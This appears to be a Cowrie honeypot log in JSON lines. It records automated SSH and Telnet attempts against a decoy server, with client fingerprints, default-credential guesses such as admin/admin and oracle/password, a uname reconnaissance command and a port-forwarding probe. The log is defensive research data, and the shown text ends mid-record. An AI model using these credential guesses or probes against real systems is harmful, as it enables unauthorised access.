{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36648,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d97e64f6aa5","protocol":"ssh","message":"New connection: 8.218.166.49:36648 (10.17.0.5:22) [session: 3d97e64f6aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:28.889679Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54542,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfe927276d14","protocol":"ssh","message":"New connection: 8.218.166.49:54542 (10.17.0.5:22) [session: cfe927276d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:34.723329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:34.734167Z","src_ip":"8.218.166.49","session":"cfe927276d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26122,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e20f7dd99f","protocol":"ssh","message":"New connection: 87.251.64.176:26122 (10.17.0.5:22) [session: 39e20f7dd99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:36.418832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:36.425285Z","src_ip":"87.251.64.176","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:36.522371Z","src_ip":"87.251.64.176","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:36.813158Z","src_ip":"87.251.64.176","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:36.913244Z","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:37.010915Z","src_ip":"87.251.64.176","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:37.109862Z","src_ip":"87.251.64.176","session":"39e20f7dd99f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:03:39.622807Z","src_ip":"8.218.166.49","session":"cfe927276d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf516776672","protocol":"ssh","message":"New connection: 8.218.166.49:53040 (10.17.0.5:22) [session: 4bf516776672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:06.834270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:06.838779Z","src_ip":"8.218.166.49","session":"4bf516776672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:16.940489Z","src_ip":"8.218.166.49","session":"4bf516776672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:19.106181Z","src_ip":"8.218.166.49","session":"4bf516776672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:20.339503Z","src_ip":"8.218.166.49","session":"4bf516776672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aefbab7bc4a","protocol":"ssh","message":"New connection: 8.218.166.49:36352 (10.17.0.5:22) [session: 1aefbab7bc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:38.209252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:48.757878Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:48.761676Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:53.801558Z","src_ip":"8.218.166.49","session":"3d97e64f6aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:04:53.805472Z","src_ip":"8.218.166.49","session":"3d97e64f6aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:09.949909Z","src_ip":"8.218.166.49","session":"fb59d1545d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:28.900807Z","src_ip":"8.218.166.49","session":"3d97e64f6aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:34.192265Z","src_ip":"8.218.166.49","session":"cfe927276d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:34.734452Z","src_ip":"8.218.166.49","session":"cfe927276d14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:57.615190Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:59.376116Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:05:59.379277Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:00.214788Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"82.0","message":"Connection lost after 82.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:00.221210Z","src_ip":"8.218.166.49","session":"1aefbab7bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58002,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d8c27c88a73","protocol":"ssh","message":"New connection: 8.218.166.49:58002 (10.17.0.5:22) [session: 1d8c27c88a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:45.829126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:46.371021Z","src_ip":"8.218.166.49","session":"1d8c27c88a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:46.376432Z","src_ip":"8.218.166.49","session":"1d8c27c88a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:55.605485Z","src_ip":"8.218.166.49","session":"1d8c27c88a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:06:57.038457Z","src_ip":"8.218.166.49","session":"1d8c27c88a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.96.110.1","src_port":41805,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f66cd57eef","protocol":"telnet","message":"New connection: 123.96.110.1:41805 (10.17.0.5:23) [session: f4f66cd57eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:00.576268Z"}
{"eventid":"cowrie.session.closed","duration":0.005338430404663086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:00.581392Z","src_ip":"123.96.110.1","session":"f4f66cd57eef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54722,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bcbb9fb16af","protocol":"ssh","message":"New connection: 8.218.166.49:54722 (10.17.0.5:22) [session: 7bcbb9fb16af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:29.160419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:29.165674Z","src_ip":"8.218.166.49","session":"7bcbb9fb16af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:29.966537Z","src_ip":"8.218.166.49","session":"7bcbb9fb16af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:31.321652Z","src_ip":"8.218.166.49","session":"7bcbb9fb16af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60546,"dst_ip":"10.17.0.5","dst_port":22,"session":"2788e396cffa","protocol":"ssh","message":"New connection: 87.251.64.176:60546 (10.17.0.5:22) [session: 2788e396cffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:33.609328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:33.614249Z","src_ip":"87.251.64.176","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@op